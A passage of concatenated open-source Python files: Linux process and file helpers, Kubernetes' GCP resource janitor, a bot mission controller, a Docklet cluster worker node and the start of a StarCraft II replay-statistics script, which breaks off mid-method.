fd_pid = os.popen("ps -ef | grep -v grep |grep %s \
|awk '{print $2}'" % (strname))
pids = fd_pid.read().strip().split('\n')
fd_pid.close()
for pid in pids:
os.system("kill -s SIGKILL %s" % (pid))
def del_if_exist(path, safemode=True):
"""
delete the path if it exists, cannot delete root / under safemode
"""
if safemode and path == '/':
raise IOError('Cannot delete root path /')
if os.path.lexists(path) is False:
return -1
if os.path.isdir(path):
shutil.rmtree(path)
elif os.path.isfile(path) or os.path.islink(path):
os.unlink(path)
else:
raise IOError('Does not support deleting the type 4 the path')
def rmtree(path, ignore_errors=False, onerror=None, safemode=True):
"""
safe rmtree.
safemode, by default is True, which forbids:
1. not allowing rmtree root "/"
"""
if safemode:
if os.path.normpath(os.path.abspath(path)) == '/':
raise err.ShellException('cannot rmtree root / under safemode')
if os.path.isfile(path):
return os.unlink(path)
else:
return shutil.rmtree(path, ignore_errors, onerror)
def shell_diff(srcfile, dstfile):
"""
shell diff two files, return 0 if it's the same.
"""
cmd = 'diff %s %s' % (srcfile, dstfile)
return os.system(cmd)
def get_pid(process_path, grep_string):
"""
will return immediately after find the pid which matches
1. ps -ef|grep %s|grep -v grep|grep -vE "^[vim|less|vi|tail|cat|more] "
'|awk '{print $2}'
2. workdir is the same as ${process_path}
:param process_path:
process that runs on
:param grep_string:
ps -ef|grep ${grep_string}
:return:
return None if not found. Otherwise, return the pid
"""
cmd = (
'ps -ef|grep \'%s\'|grep -v grep|grep -vwE "vim |less |vi |tail |cat |more "'
'|awk \'{print $2}\''
) % (grep_string)
ret = cup.shell.ShellExec().run(cmd, 10)
pids = ret['stdout'].strip().split('\n')
if len(pids) == 0 or len(pids) == 1 and len(pids[0]) == 0:
return None
for pid in pids:
for sel_path in ["cwd", "exe"]:
cmd = 'ls -l /proc/%s/%s|awk \'{print $11}\' ' % (pid, sel_path)
ret = cup.shell.ShellExec().run(cmd, 10)
pid_path = ret['stdout'].strip().strip()
if pid_path.find(process_path) == 0:
return pid
return None
# end linux functionalities }}
# vi:set tw=0 ts=4 sw=4 nowrap fdm=indent
|
gcp_janitor.py | #!/usr/bin/env python
# Copyright 2016 The Kubernetes Authors.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
"""Clean up resources from gcp projects. """
import argparse
import collections
import datetime
import json
import os
import subprocess
import sys
import threading
# A resource that need to be cleared.
Resource = collections.namedtuple(
'Resource', 'api_version group name subgroup condition managed tolerate bulk_delete')
DEMOLISH_ORDER = [
# [WARNING FROM KRZYZACY] : TOUCH THIS WITH CARE!
# ORDER REALLY MATTERS HERE!
# compute resources
Resource('', 'compute', 'instances', None, 'zone', None, False, True),
Resource('', 'compute', 'addresses', None, 'global', None, False, True),
Resource('', 'compute', 'addresses', None, 'region', None, False, True),
Resource('', 'compute', 'disks', None, 'zone', None, False, True),
Resource('', 'compute', 'disks', None, 'region', None, False, True),
Resource('', 'compute', 'firewall-rules', None, None, None, False, True),
Resource('', 'compute', 'forwarding-rules', None, 'global', None, False, True),
Resource('', 'compute', 'forwarding-rules', None, 'region', None, False, True),
Resource('', 'compute', 'target-http-proxies', None, 'global', None, False, True),
Resource('', 'compute', 'target-http-proxies', None, 'region', None, False, True),
Resource('', 'compute', 'target-https-proxies', None, 'global', None, False, True),
Resource('', 'compute', 'target-https-proxies', None, 'region', None, False, True),
Resource('', 'compute', 'target-tcp-proxies', None, None, None, False, True),
Resource('', 'compute', 'ssl-certificates', None, 'global', None, False, True),
Resource('', 'compute', 'ssl-certificates', None, 'region', None, False, True),
Resource('', 'compute', 'url-maps', None, 'global', None, False, True),
Resource('', 'compute', 'url-maps', None, 'region', None, False, True),
Resource('', 'compute', 'backend-services', None, 'global', None, False, True),
Resource('', 'compute', 'backend-services', None, 'region', None, False, True),
Resource('', 'compute', 'target-pools', None, 'region', None, False, True),
Resource('', 'compute', 'health-checks', None, 'global', None, False, True),
Resource('', 'compute', 'health-checks', None, 'region', None, False, True),
Resource('', 'compute', 'http-health-checks', None, None, None, False, True),
Resource('', 'compute', 'instance-groups', None, 'region', 'Yes', False, True),
Resource('', 'compute', 'instance-groups', None, 'zone', 'Yes', False, True),
Resource('', 'compute', 'instance-groups', None, 'zone', 'No', False, True),
Resource('', 'compute', 'instance-templates', None, None, None, False, True),
Resource('', 'compute', 'sole-tenancy', 'node-groups', 'zone', None, False, True),
Resource('', 'compute', 'sole-tenancy', 'node-templates', 'region', None, False, True),
Resource('', 'compute', 'network-endpoint-groups', None, 'zone', None, False, False),
Resource('', 'compute', 'routes', None, None, None, False, True),
Resource('', 'compute', 'routers', None, 'region', None, False, True),
Resource('', 'compute', 'networks', 'subnets', 'region', None, True, True),
Resource('', 'compute', 'networks', None, None, None, False, True),
# logging resources
Resource('', 'logging', 'sinks', None, None, None, False, False),
]
def log(message):
""" print a message if --verbose is set. """
if ARGS.verbose:
tss = "[" + str(datetime.datetime.now()) + "] "
print tss + message + '\n'
def base_command(resource):
""" Return the base gcloud command with api_version, group and subgroup.
Args:
resource: Definition of a type of gcloud resource.
Returns:
list of base commands of gcloud .
"""
base = ['gcloud']
if resource.api_version:
base += [resource.api_version]
base += [resource.group, '-q', resource.name]
if resource.subgroup:
base.append(resource.subgroup)
return base
def validate_item(item, age, resource, clear_all):
""" Validate if an item need to be cleaned.
Args:
item: a gcloud resource item from json format.
age: Time cutoff from the creation of a resource.
resource: Definition of a type of gcloud resource.
clear_all: If need to clean regardless of timestamp.
Returns:
True if object need to be cleaned, False otherwise.
Raises:
ValueError if json result from gcloud is invalid.
"""
if resource.managed:
if 'isManaged' not in item:
raise ValueError(resource.name, resource.managed)
if resource.managed != item['isManaged']:
return False
# clears everything without checking creationTimestamp
if clear_all:
return True
if 'creationTimestamp' not in item:
raise ValueError('missing key: creationTimestamp - %r' % item)
# Unify datetime to use utc timezone.
created = datetime.datetime.strptime(item['creationTimestamp'], '%Y-%m-%dT%H:%M:%S')
log('Found %r(%r), %r, created time = %r' %
(resource.name, resource.subgroup, item['name'], item['creationTimestamp']))
if created < age:
log('Added to janitor list: %r(%r), %r' %
(resource.name, resource.subgroup, item['name']))
return True
return False
def collect(project, age, resource, filt, clear_all):
""" Collect a list of resources for each condition (zone or region).
Args:
project: The name of a gcp project.
age: Time cutoff from the creation of a resource.
resource: Definition of a type of gcloud resource.
filt: Filter clause for gcloud list command.
clear_all: If need to clean regardless of timestamp.
Returns:
A dict of condition : list of gcloud resource object.
Raises:
ValueError if json result from gcloud is invalid.
subprocess.CalledProcessError if cannot list the gcloud resource
"""
col = collections.defaultdict(list)
# TODO(krzyzacy): logging sink does not have timestamp
# don't even bother listing it if not clear_all
if resource.name == 'sinks' and not clear_all:
return col
cmd = base_command(resource)
cmd.extend([
'list',
'--format=json(name,creationTimestamp.date(tz=UTC),zone,region,isManaged)',
'--filter=%s' % filt,
'--project=%s' % project])
log('%r' % cmd)
# TODO(krzyzacy): work around for alpha API list calls
try:
items = subprocess.check_output(cmd)
except subprocess.CalledProcessError:
if resource.tolerate:
return col
raise
for item in json.loads(items):
log('parsing item: %r' % item)
if 'name' not in item:
raise ValueError('missing key: name - %r' % item)
colname = ''
if resource.condition is not None:
# This subcommand will want either a --global, --region, or --zone
# flag, so segment items accordingly.
if resource.condition == 'global':
if 'zone' in item or 'region' in item:
# This item is zonal or regional, so don't include it in
# the global list.
continue
elif resource.condition in item:
# Looking for zonal or regional items, and this matches.
# The zone or region is sometimes a full URL (why?), but
# subcommands want just the name, not the full URL, so strip it.
colname = item[resource.condition].rsplit('/', 1)[-1]
log('looking for items in %s=%s' % (resource.condition, colname))
else:
# This item doesn't match the condition, so don't include it.
continue
if validate_item(item, age, resource, clear_all):
col[colname].append(item['name'])
return col
def asyncCall(cmd, tolerate, name, errs, lock, hide_output):
log('%sCall %r' % ('[DRYRUN] ' if ARGS.dryrun else '', cmd))
if ARGS.dryrun:
return
try:
if hide_output:
FNULL = open(os.devnull, 'w')
subprocess.check_call(cmd, stdout=FNULL)
else:
subprocess.check_call(cmd)
except subprocess.CalledProcessError as exc:
if not tolerate:
with lock:
errs.append(exc)
print >> sys.stderr, 'Error try to delete resources %s: %r' % (name, exc)
def clear_resources(project, cols, resource, rate_limit):
"""Clear a collection of resource, from collect func above.
Args:
project: The name of a gcp project.
cols: A dict of collection of resource.
resource: Definition of a type of gcloud resource.
rate_limit: how many resources to delete per gcloud delete call
Returns:
0 if no error
> 0 if deletion command fails
"""
errs = []
threads = list()
lock = threading.Lock()
# delete one resource at a time, if there's no api support
# aka, logging sinks for example
if not resource.bulk_delete:
rate_limit = 1
for col, items in cols.items():
manage_key = {'Yes': 'managed', 'No': 'unmanaged'}
# construct the customized gcloud command
base = base_command(resource)
if resource.managed:
base.append(manage_key[resource.managed])
base.append('delete')
base.append('--project=%s' % project)
condition = None
if resource.condition and col:
condition = '--%s=%s' % (resource.condition, col)
elif resource.condition == 'global':
condition = '--global'
log('going to delete %d %s' % (len(items), resource.name))
# try to delete at most $rate_limit items at a time
for idx in xrange(0, len(items), rate_limit):
clean = items[idx:idx + rate_limit]
cmd = base + list(clean)
if condition:
cmd.append(condition)
thread = threading.Thread(
target=asyncCall, args=(cmd, resource.tolerate, resource.name, errs, lock, False))
threads.append(thread)
log('start a new thread, total %d' % len(threads))
thread.start()
log('Waiting for all %d thread to finish' % len(threads))
for thread in threads:
thread.join()
return len(errs)
def clean_gke_cluster(project, age, filt):
"""Clean up potential leaking gke cluster"""
# a cluster can be created in one of those three endpoints
endpoints = [
'https://test-container.sandbox.googleapis.com/', # test
'https://staging-container.sandbox.googleapis.com/', # staging
'https://container.googleapis.com/', # prod
]
errs = []
for endpoint in endpoints:
threads = list()
lock = threading.Lock()
os.environ['CLOUDSDK_API_ENDPOINT_OVERRIDES_CONTAINER'] = endpoint
log("checking endpoint %s" % endpoint)
cmd = [
'gcloud', 'container', '-q', 'clusters', 'list',
'--project=%s' % project,
'--filter=%s' % filt,
'--format=json(name,createTime,region,zone)'
]
log('running %s' % cmd)
output = ''
try:
output = subprocess.check_output(cmd)
except subprocess.CalledProcessError as exc:
# expected error
log('Cannot reach endpoint %s with %r, continue' % (endpoint, exc))
continue
for item in json.loads(output):
log('cluster info: %r' % item)
if 'name' not in item or 'createTime' not in item:
raise ValueError('name and createTime must be present: %r' % item)
if not ('zone' in item or 'region' in item):
raise ValueError('either zone or region must be present: %r' % item)
# The raw createTime string looks like 2017-08-30T18:33:14+00:00
# Which python 2.7 does not support timezones.
# Since age is already in UTC time we'll just strip the timezone part
item['createTime'] = item['createTime'].split('+')[0]
created = datetime.datetime.strptime(
item['createTime'], '%Y-%m-%dT%H:%M:%S')
if created < age:
log('Found stale gke cluster %r in %r, created time = %r' %
(item['name'], endpoint, item['createTime']))
delete = [
'gcloud', 'container', '-q', 'clusters', 'delete',
item['name'],
'--project=%s' % project,
]
if 'zone' in item:
delete.append('--zone=%s' % item['zone'])
elif 'region' in item:
delete.append('--region=%s' % item['region'])
thread = threading.Thread(
target=asyncCall, args=(delete, False, item['name'], errs, lock, True))
threads.append(thread)
log('start a new thread, total %d' % len(threads))
thread.start()
log('Waiting for all %d thread to finish in %s' % (len(threads), endpoint))
for thread in threads:
thread.join()
return len(errs) > 0
def activate_service_account(service_account):
print '[=== Activating service_account %s ===]' % service_account
cmd = [
'gcloud', 'auth', 'activate-service-account',
'--key-file=%s' % service_account,
]
log('running %s' % cmd)
try:
subprocess.check_call(cmd)
except subprocess.CalledProcessError:
print >> sys.stderr, 'Error try to activate service_account: %s' % service_account
return 1
return 0
def main(project, days, hours, filt, rate_limit, service_account):
""" Clean up resources from a gcp project based on it's creation time
Args:
project: The name of a gcp project.
days/hours: days/hours of maximum lifetime of a gcp resource.
filt: Resource instance filters when query.
Returns:
0 if no error
1 if list or delete command fails
"""
print '[=== Start Janitor on project %r ===]' % project
err = 0
age = datetime.datetime.utcnow() - datetime.timedelta(days=days, hours=hours)
clear_all = (days is 0 and hours is 0)
if service_account:
err |= activate_service_account(service_account)
if not err:
for res in DEMOLISH_ORDER:
log('Try to search for %r with condition %r, managed %r' % (
res.name, res.condition, res.managed))
try:
col = collect(project, age, res, filt, clear_all)
if col:
err |= clear_resources(project, col, res, rate_limit)
except (subprocess.CalledProcessError, ValueError):
err |= 1 # keep clean the other resource
print >> sys.stderr, 'Fail to list resource %r from project %r' \
% (res.name, project)
# try to clean leaking gke cluster
try:
err |= clean_gke_cluster(project, age, filt)
except ValueError:
err |= 1 # keep clean the other resource
print >> sys.stderr, 'Fail to clean up cluster from project %r' % project
print '[=== Finish Janitor on project %r with status %r ===]' % (project, err)
sys.exit(err)
if __name__ == '__main__':
PARSER = argparse.ArgumentParser(
description='Clean up resources from an expired project')
PARSER.add_argument('--project', help='Project to clean', required=True)
PARSER.add_argument(
'--days', type=int,
help='Clean items more than --days old (added to --hours)')
PARSER.add_argument(
'--hours', type=float,
help='Clean items more than --hours old (added to --days)')
PARSER.add_argument(
'--filter',
default='name !~ ^default',
help='Filter down to these instances')
PARSER.add_argument(
'--dryrun',
default=False,
action='store_true',
help='List but not delete resources')
PARSER.add_argument(
'--ratelimit', type=int, default=50,
help='Max number of resources to bulk clear in one gcloud delete call')
PARSER.add_argument(
'--verbose', action='store_true',
help='Get full janitor output log')
PARSER.add_argument(
'--service_account',
help='GCP service account',
default=os.environ.get("GOOGLE_APPLICATION_CREDENTIALS", None))
ARGS = PARSER.parse_args()
# We want to allow --days=0 and --hours=0, so check against None instead.
if ARGS.days is None and ARGS.hours is None:
print >> sys.stderr, 'must specify --days and/or --hours'
sys.exit(1)
main(ARGS.project, ARGS.days or 0, ARGS.hours or 0, ARGS.filter,
ARGS.ratelimit, ARGS.service_account)
|
controller.py | import time
import logging
import threading
from typing import Optional, Callable, Union, Text
logger = logging.getLogger(__name__)
class missionController:
FLAG: bool = False
okderby: Union[Callable, None] = None
job_name: Text = ""
watch_thread = threading.Thread()
auto_derby_thread = threading.Thread()
@classmethod
def init(cls, func: Callable) -> None:
cls.okderby = func
cls.watch_thread = threading.Thread(target=cls.watch).start()
@classmethod
def watch(cls) -> None:
while True:
logger.debug(f"auto_derby_thread: {cls.auto_derby_thread.is_alive()} FLAG: {cls.FLAG}")
if not cls.auto_derby_thread.is_alive():
cls.FLAG = False
time.sleep(3)
@classmethod
def start_mission(cls,
job_name: str,
plugins: str,
adb_address: Optional[str] = None) -> None:
cls.FLAG = True
cls.job_name = job_name
cls.auto_derby_thread = threading.Thread(target=cls.okderby, args=(job_name, plugins, adb_address))
cls.auto_derby_thread.start()
@classmethod
def stop_mission(cls) -> None:
cls.FLAG = False
cls.job_name = ""
@classmethod
def get_mission_status(cls) -> Text:
if cls.auto_derby_thread.is_alive():
return "running"
else:
return "stopped"
|
worker.py | #!/usr/bin/python3
# first init env
import env, tools
config = env.getenv("CONFIG")
tools.loadenv(config)
# must import logger after initlogging, ugly
from log import initlogging
initlogging("docklet-worker")
from log import logger
import xmlrpc.server, sys, time
from socketserver import ThreadingMixIn
import threading
import etcdlib, network, container
from nettools import netcontrol,ovscontrol,portcontrol
import monitor, proxytool
from lvmtool import new_group, recover_group
##################################################################
# Worker
# Description : Worker starts at worker node to listen rpc request and complete the work
# Init() :
# get master ip
# initialize rpc server
# register rpc functions
# initialize network
# initialize lvm group
# Start() :
# register in etcd
# setup GRE tunnel
# start rpc service
##################################################################
# imitate etcdlib to genernate the key of etcdlib manually
def generatekey(path):
clustername = env.getenv("CLUSTER_NAME")
return '/'+clustername+'/'+path
class ThreadXMLRPCServer(ThreadingMixIn,xmlrpc.server.SimpleXMLRPCServer):
pass
class Worker(object):
def __init__(self, etcdclient, addr, port):
self.addr = addr
self.port = port
logger.info ("begin initialize on %s" % self.addr)
self.fspath = env.getenv('FS_PREFIX')
self.poolsize = env.getenv('DISKPOOL_SIZE')
self.etcd = etcdclient
self.master = self.etcd.getkey("service/master")[1]
self.mode=None
# waiting state is preserved for compatible.
self.etcd.setkey("machines/runnodes/"+self.addr, "waiting")
# get this node's key to judge how to init.
[status, key] = self.etcd.getkey("machines/runnodes/"+self.addr)
if status:
self.key = generatekey("machines/allnodes/"+self.addr)
else:
logger.error("get key failed. %s" % 'machines/runnodes/'+self.addr)
sys.exit(1)
# check token to check global directory
[status, token_1] = self.etcd.getkey("token")
tokenfile = open(self.fspath+"/global/token", 'r')
token_2 = tokenfile.readline().strip()
if token_1 != token_2:
logger.error("check token failed, global directory is not a shared filesystem")
sys.exit(1)
logger.info ("worker registered and checked the token")
# worker search all run nodes to judge how to init
# If the node in all node list, we will recover it.
# Otherwise, this node is new added in.
value = 'init-new'
[status, alllist] = self.etcd.listdir("machines/allnodes")
for node in alllist:
if node['key'] == self.key:
value = 'init-recovery'
break
logger.info("worker start in "+value+" mode")
Containers = container.Container(self.addr, etcdclient)
if value == 'init-new':
logger.info ("init worker with mode:new")
self.mode='new'
# check global directory do not have containers on this worker
[both, onlylocal, onlyglobal] = Containers.diff_containers()
if len(both+onlyglobal) > 0:
logger.error ("mode:new will clean containers recorded in global, please check")
sys.exit(1)
[status, info] = Containers.delete_allcontainers()
if not status:
logger.error ("delete all containers failed")
sys.exit(1)
# create new lvm VG at last
new_group("docklet-group",self.poolsize,self.fspath+"/local/docklet-storage")
#subprocess.call([self.libpath+"/lvmtool.sh", "new", "group", "docklet-group", self.poolsize, self.fspath+"/local/docklet-storage"])
elif value == 'init-recovery':
logger.info ("init worker with mode:recovery")
self.mode='recovery'
# recover lvm VG first
recover_group("docklet-group",self.fspath+"/local/docklet-storage")
#subprocess.call([self.libpath+"/lvmtool.sh", "recover", "group", "docklet-group", self.fspath+"/local/docklet-storage"])
[status, meg] = Containers.check_allcontainers()
if status:
logger.info ("all containers check ok")
else:
logger.info ("not all containers check ok")
#sys.exit(1)
else:
logger.error ("worker init mode:%s not supported" % value)
sys.exit(1)
# init portcontrol
logger.info("init portcontrol")
portcontrol.init_new()
# initialize rpc
# xmlrpc.server.SimpleXMLRPCServer(addr) -- addr : (ip-addr, port)
# if ip-addr is "", it will listen ports of all IPs of this host
logger.info ("initialize rpcserver %s:%d" % (self.addr, int(self.port)))
# logRequests=False : not print rpc log
#self.rpcserver = xmlrpc.server.SimpleXMLRPCServer((self.addr, self.port), logRequests=False)
self.rpcserver = ThreadXMLRPCServer((self.addr, int(self.port)), allow_none=True, logRequests=False)
self.rpcserver.register_introspection_functions()
self.rpcserver.register_instance(Containers)
self.rpcserver.register_function(monitor.workerFetchInfo)
self.rpcserver.register_function(netcontrol.setup_gw)
self.rpcserver.register_function(netcontrol.del_gw)
self.rpcserver.register_function(netcontrol.del_bridge)
self.rpcserver.register_function(ovscontrol.add_port_gre_withkey)
self.rpcserver.register_function(netcontrol.check_gw)
self.rpcserver.register_function(netcontrol.recover_usernet)
self.rpcserver.register_function(proxytool.set_route)
self.rpcserver.register_function(proxytool.delete_route)
self.rpcserver.register_function(portcontrol.acquire_port_mapping)
self.rpcserver.register_function(portcontrol.release_port_mapping)
# register functions or instances to server for rpc
#self.rpcserver.register_function(function_name)
# init collector to collect monitor infomation
self.con_collector = monitor.Container_Collector()
self.hosts_collector = monitor.Collector()
# delete the existing network
#[success, bridges] = ovscontrol.list_bridges()
#if success:
# for bridge in bridges:
# if bridge.startswith("docklet-br"):
# ovscontrol.del_bridge(bridge)
#else:
# logger.error(bridges)
#[success, message] = ovscontrol.destroy_all_qos()
#if not success:
# logger.error(message)
'''if (self.addr == self.master):
logger.info ("master also on this node. reuse master's network")
else:
logger.info ("initialize network")
# 'docklet-br' of worker do not need IP Addr.
#[status, result] = self.etcd.getkey("network/workbridge")
#if not status:
# logger.error ("get bridge IP failed, please check whether master set bridge IP for worker")
#self.bridgeip = result
# create bridges for worker
#network.netsetup("init", self.bridgeip)
if self.mode == 'new':
if netcontrol.bridge_exists('docklet-br'):
netcontrol.del_bridge('docklet-br')
netcontrol.new_bridge('docklet-br')
else:
if not netcontrol.bridge_exists('docklet-br'):
logger.error("docklet-br not found")
sys.exit(1)
logger.info ("setup GRE tunnel to master %s" % self.master)
#network.netsetup("gre", self.master)
#if not netcontrol.gre_exists('docklet-br', self.master):
#netcontrol.setup_gre('docklet-br', self.master)'''
# start service of worker
def start(self):
# start collector
self.con_collector.start()
self.hosts_collector.start()
logger.info("Monitor Collector has been started.")
# worker change it state itself. Independedntly from master.
self.etcd.setkey("machines/runnodes/"+self.addr, "work")
publicIP = env.getenv("PUBLIC_IP")
self.etcd.setkey("machines/publicIP/"+self.addr,publicIP)
self.thread_sendheartbeat = threading.Thread(target=self.sendheartbeat)
self.thread_sendheartbeat.start()
# start serving for rpc
logger.info ("begins to work")
self.rpcserver.serve_forever()
# send heardbeat package to keep alive in etcd, ttl=2s
def sendheartbeat(self):
while(True):
# check send heartbeat package every 1s
time.sleep(2)
[status, value] = self.etcd.getkey("machines/runnodes/"+self.addr)
if status:
# master has know the worker so we start send heartbeat package
if value=='ok':
self.etcd.setkey("machines/runnodes/"+self.addr, "ok", ttl = 3)
else:
logger.error("get key %s failed, master may be crashed" % self.addr)
self.etcd.setkey("machines/runnodes/"+self.addr, "ok", ttl = 60)
if __name__ == '__main__':
etcdaddr = env.getenv("ETCD")
logger.info ("using ETCD %s" % etcdaddr )
clustername = env.getenv("CLUSTER_NAME")
logger.info ("using CLUSTER_NAME %s" % clustername )
# get network interface
net_dev = env.getenv("NETWORK_DEVICE")
logger.info ("using NETWORK_DEVICE %s" % net_dev )
ipaddr = network.getip(net_dev)
if ipaddr is False:
logger.error("network device is not correct")
sys.exit(1)
else:
logger.info("using ipaddr %s" % ipaddr)
# init etcdlib client
try:
etcdclient = etcdlib.Client(etcdaddr, prefix = clustername)
except Exception:
logger.error ("connect etcd failed, maybe etcd address not correct...")
sys.exit(1)
else:
logger.info("etcd connected")
cpu_quota = env.getenv('CONTAINER_CPU')
logger.info ("using CONTAINER_CPU %s" % cpu_quota )
mem_quota = env.getenv('CONTAINER_MEMORY')
logger.info ("using CONTAINER_MEMORY %s" % mem_quota )
worker_port = env.getenv('WORKER_PORT')
logger.info ("using WORKER_PORT %s" % worker_port )
logger.info("Starting worker")
worker = Worker(etcdclient, addr=ipaddr, port=worker_port)
worker.start()
|
replay_actions.py | #!/usr/bin/python
# Copyright 2017 Google Inc. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS-IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
"""Dump out stats about all the actions that are in use in a set of replays."""
import collections
import multiprocessing
import os
import signal
import sys
import threading
import time
from absl import app
from absl import flags
import queue
import six
from ctools.pysc2 import run_configs
from ctools.pysc2.lib import features
from ctools.pysc2.lib import point
from ctools.pysc2.lib import protocol
from ctools.pysc2.lib import remote_controller
from ctools.pysc2.lib import replay
from ctools.pysc2.lib import static_data
from ctools.pysc2.lib import gfile
from s2clientprotocol import common_pb2 as sc_common
from s2clientprotocol import sc2api_pb2 as sc_pb
FLAGS = flags.FLAGS
flags.DEFINE_integer("parallel", 1, "How many instances to run in parallel.")
flags.DEFINE_integer("step_mul", 8, "How many game steps per observation.")
flags.DEFINE_string("replays", None, "Path to a directory of replays.")
flags.mark_flag_as_required("replays")
size = point.Point(16, 16)
interface = sc_pb.InterfaceOptions(
raw=True, score=False,
feature_layer=sc_pb.SpatialCameraSetup(width=24))
size.assign_to(interface.feature_layer.resolution)
size.assign_to(interface.feature_layer.minimap_resolution)
def sorted_dict_str(d):
return "{%s}" % ", ".join("%s: %s" % (k, d[k])
for k in sorted(d, key=d.get, reverse=True))
class ReplayStats(object):
"""Summary stats of the replays seen so far."""
def __init__(self):
self.replays = 0
self.steps = 0
self.camera_move = 0
self.select_pt = 0
self.select_rect = 0
self.control_group = 0
self.maps = collections.defaultdict(int)
self.races = collections.defaultdict(int)
self.unit_ids = collections.defaultdict(int)
self.valid_abilities = collections.defaultdict(int)
self.made_abilities = collections.defaultdict(int)
self.valid_actions = collections.defaultdict(int)
self.made_actions = collections.defaultdict(int)
self.buffs = collections.defaultdict(int)
self.upgrades = collections.defaultdict(int)
self.effects = collections.defaultdict(int)
self.crashing_replays = set()
self.invalid_replays = set()
def merge(self, other):
"""Merge another ReplayStats into this one."""
def merge_dict(a, b):
for k, v in six.iteritems(b):
a[k] += v
self.replays += other.replays
self.steps += other.steps
self.camera_move += other.camera_move
self.select_pt += other.select_pt
self.select_rect += other.select_rect
self.control_group += other.control_group
merge_dict(self.maps, other.maps)
merge_dict(self.races, other.races)
merge_dict(self.unit_ids, other.unit_ids)
merge_dict(self.valid_abilities, other.valid_abilities)
merge_dict(self.made_abilities, other.made_abilities)
merge_dict(self.valid_actions, other.valid_actions)
merge_dict(self.made_actions, other.made_actions)
merge_dict(self.buffs, other.buffs)
merge_dict(self.upgrades, other.upgrades)
merge_dict(self.effects, other.effects)
self.crashing_replays |= other.crashing_replays
self.invalid_replays |= other.invalid_replays
def __str__(self):
len_sorted_dict = lambda s: (len(s), sorted_dict_str(s))
len_sorted_list = lambda s: (len(s), sorted(s))
new_abilities = ((set(self.valid_abilities.keys())
| set(self.made_abilities.keys()))
- set(static_data.ABILITIES))
new_units = set(self.unit_ids) - set(static_data.UNIT_TYPES)
new_buffs = set(self.buffs) - set(static_data.BUFFS)
new_upgrades = set(self.upgrades) - set(static_data.UPGRADES)
return "\n\n".join((
"Replays: %s, Steps total: %s" % (self.replays, self.steps),
"Camera move: %s, Select pt: %s, Select rect: %s, Control group: %s" % (
self.camera_move, self.select_pt, self.select_rect,
self.control_group),
"Maps: %s\n%s" % len_sorted_dict(self.maps),
"Races: %s\n%s" % len_sorted_dict(self.races),
"Unit ids: %s\n%s" % len_sorted_dict(self.unit_ids),
"New units: %s \n%s" % len_sorted_list(new_units),
"Valid abilities: %s\n%s" % len_sorted_dict(self.valid_abilities),
"Made abilities: %s\n%s" % len_sorted_dict(self.made_abilities),
"New abilities: %s\n%s" % len_sorted_list(new_abilities),
"Valid actions: %s\n%s" % len_sorted_dict(self.valid_actions),
"Made actions: %s\n%s" % len_sorted_dict(self.made_actions),
"Buffs: %s\n%s" % len_sorted_dict(self.buffs),
"New buffs: %s\n%s" % len_sorted_list(new_buffs),
"Upgrades: %s\n%s" % len_sorted_dict(self.upgrades),
"New upgrades: %s\n%s" % len_sorted_list(new_upgrades),
"Effects: %s\n%s" % len_sorted_dict(self.effects),
"Crashing replays: %s\n%s" % len_sorted_list(self.crashing_replays),
"Invalid replays: %s\n%s" % len_sorted_list(self.invalid_replays),
))
class ProcessStats(object):
"""Stats for a worker process."""
def __init__(self, proc_id):
self.proc_id = proc_id
self.time = time.time()
self.stage = ""
self.replay = ""
self.replay_stats = ReplayStats()
def update(self, stage):
self.time = time.time()
self.stage = stage
def __str__(self):
return ("[%2d] replay: %10s, replays: %5d, steps: %7d, game loops: %7s, "
"last: %12s, %3d s ago" % (
self.proc_id, self.replay, self.replay_stats.replays,
self.replay_stats.steps,
self.replay_stats.steps * FLAGS.step_mul, self.stage,
time.time() - self.time))
def valid_replay(info, ping):
"""Make sure the replay isn't corrupt, and is worth looking at."""
if (info.HasField("error") or
info.base_build != ping.base_build or # different game version
info.game_duration_loops < 1000 or
len(info.player_info) != 2):
# Probably corrupt, or just not interesting.
return False
for p in info.player_info:
if p.player_apm < 10 or p.player_mmr < 1000:
# Low APM = player just standing around.
# Low MMR = corrupt replay or player who is weak.
return False
return True
class ReplayProcessor(multiprocessing.Process):
"""A Process that pulls replays and processes them."""
def __init__(self, proc_id, run_config, replay_queue, stats_queue):
super(ReplayProcessor, self).__init__()
self.stats = ProcessStats(proc_id)
self.run_config = run_config
self.replay_queue = replay_queue
self.stats_queue = stats_queue
def run(self):
signal.signal(signal.SIGTERM, lambda a, b: sys.exit()) # Exit quietly.
self._update_stage("spawn")
replay_name = "none"
while True:
self._print("Starting up a new SC2 instance.")
self._update_stage("launch")
try:
with self.run_config.start(
want_rgb=interface.HasField("render")) as controller:
self._print("SC2 Started successfully.")
ping = controller.ping()
for _ in range(300):
try:
replay_path = self.replay_queue.get()
except queue.Empty:
self._update_stage("done")
self._print("Empty queue, returning")
return
try:
replay_name = os.path.basename(replay_path)[:10]
self.stats.replay = replay_name
self._print("Got replay: %s" % replay_path)
self._update_stage("open replay file")
replay_data = self.run_config.replay_data(replay_path)
self._update_stage("replay_info")
info = controller.replay_info(replay_data)
self._print((" Replay Info %s " % replay_name).center(60, "-"))
self._print(info)
self._print("-" * 60)
if valid_replay(info, ping):
self.stats.replay_stats.maps[info.map_name] += 1
for player_info in info.player_info:
race_name = sc_common.Race.Name(
player_info.player_info.race_actual)
self.stats.replay_stats.races[race_name] += 1
map_data = None
if info.local_map_path:
self._update_stage("open map file")
map_data = self.run_config.map_data(info.local_map_path)
for player_id in [1, 2]:
self._print("Starting %s from player %s's perspective" % (
replay_name, player_id))
self.process_replay(controller, replay_data, map_data,
player_id)
else:
self._print("Replay is invalid.")
self.stats.replay_stats.invalid_replays.add(replay_name)
finally:
self.replay_queue.task_done()
self._update_stage("shutdown")
except (protocol.ConnectionError, protocol.ProtocolError,
remote_controller.RequestError):
self.stats.replay_stats.crashing_replays.add(replay_name)
except KeyboardInterrupt:
return
def _print(self, s):
for line in str(s).strip().splitlines():
